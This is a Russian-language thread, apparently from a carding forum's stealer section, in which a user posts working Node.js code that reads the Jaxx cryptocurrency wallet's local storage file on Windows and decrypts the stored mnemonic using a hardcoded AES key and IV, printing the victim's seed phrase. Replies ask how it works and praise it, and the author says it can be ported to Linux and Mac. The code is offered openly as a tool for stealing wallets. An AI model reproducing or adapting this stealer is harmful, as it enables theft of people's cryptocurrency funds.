1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Стиллер Jaxx Угнать за 60 секунд

Тема в разделе "Кейлоггеры | Стиллеры | Грабберы", создана пользователем Markus314, 21 фев 2018.

  1. TopicStarter Overlay
    Markus314

    Markus314

    Регистрация:
    14 фев 2018
    Сообщения:
    3
    Симпатии:
    1
    ребята с Jaxx не закрыли уязвимость/
    написал программу на node.js для авто получения seed фразы

    Войти или зарегистрироваться, чтобы увидеть ссылку.

    Код:
    // file %USERPROFILE%\AppData\Roaming\Jaxx\Local Storage\file__0.localstorage
    
    var sqlite3 = require('sqlite3').verbose();
    var ab2str = require('arraybuffer-to-string')
    var CryptoJS = require('crypto-js');
    var _key = "6Le0DgMTAAAAANokdfEial"; //length=22
    var _iv = "mHGFxENnZLbienLyALoi.e"; //length=22
    
    var _keyB;
    var _ivB;
    
    function decryptSimple(encryptedTxt) {
        _keyB = CryptoJS.enc.Base64.parse(_key);
        _ivB = CryptoJS.enc.Base64.parse(_iv);
        var decrypted = CryptoJS.AES.decrypt(encryptedTxt, _keyB, { iv: _ivB });
        var decryptedText = decrypted.toString(CryptoJS.enc.Utf8);
        return decryptedText;
    }
    
    
    var db = new sqlite3.Database(process.env['USERPROFILE'] + '\\AppData\\Roaming\\Jaxx\\Local Storage\\file__0.localstorage', [sqlite3.OPEN_READONLY]);
    db.serialize(function () {
    
        db.each("select value from ItemTable where key=\"mnemonic\"", function (err, row) {
            var seedDec = ab2str(row.value).replace(/\0/g, '')
            var seed = decryptSimple(seedDec);
            console.log(seed);
        });
    })
    Важно!
    "crypto-js": "3.1.6"
     

    Вложения:

    • jaxx.zip
      Размер файла:
      1,6 КБ
      Просмотров:
      18
    • Like Like x 1
    Метки:
  2. mot0rrr

    mot0rrr

    Регистрация:
    8 янв 2018
    Сообщения:
    33
    Симпатии:
    0
    Можно подробнее?
     
  3. TopicStarter Overlay
    Markus314

    Markus314

    Регистрация:
    14 фев 2018
    Сообщения:
    3
    Симпатии:
    1
    программа загружает зашифрованный ключ и преобразовывает его в фразу seed.
    собрать ее нужно с nodejs Сорс все сбросил.
     
  4. grilder

    grilder

    Регистрация:
    21 май 2018
    Сообщения:
    20
    Симпатии:
    0
    Гениально! А на каких авто это работает?
     
  5. TopicStarter Overlay
    Markus314

    Markus314

    Регистрация:
    14 фев 2018
    Сообщения:
    3
    Симпатии:
    1
    windows.если поправить мржно для linux и mac
     
  6. Dark hsese

    Dark hsese

    Регистрация:
    16 фев 2018
    Сообщения:
    3
    Симпатии:
    0
    Достойная статья, молодец.
     

Поделиться этой страницей

Загрузка...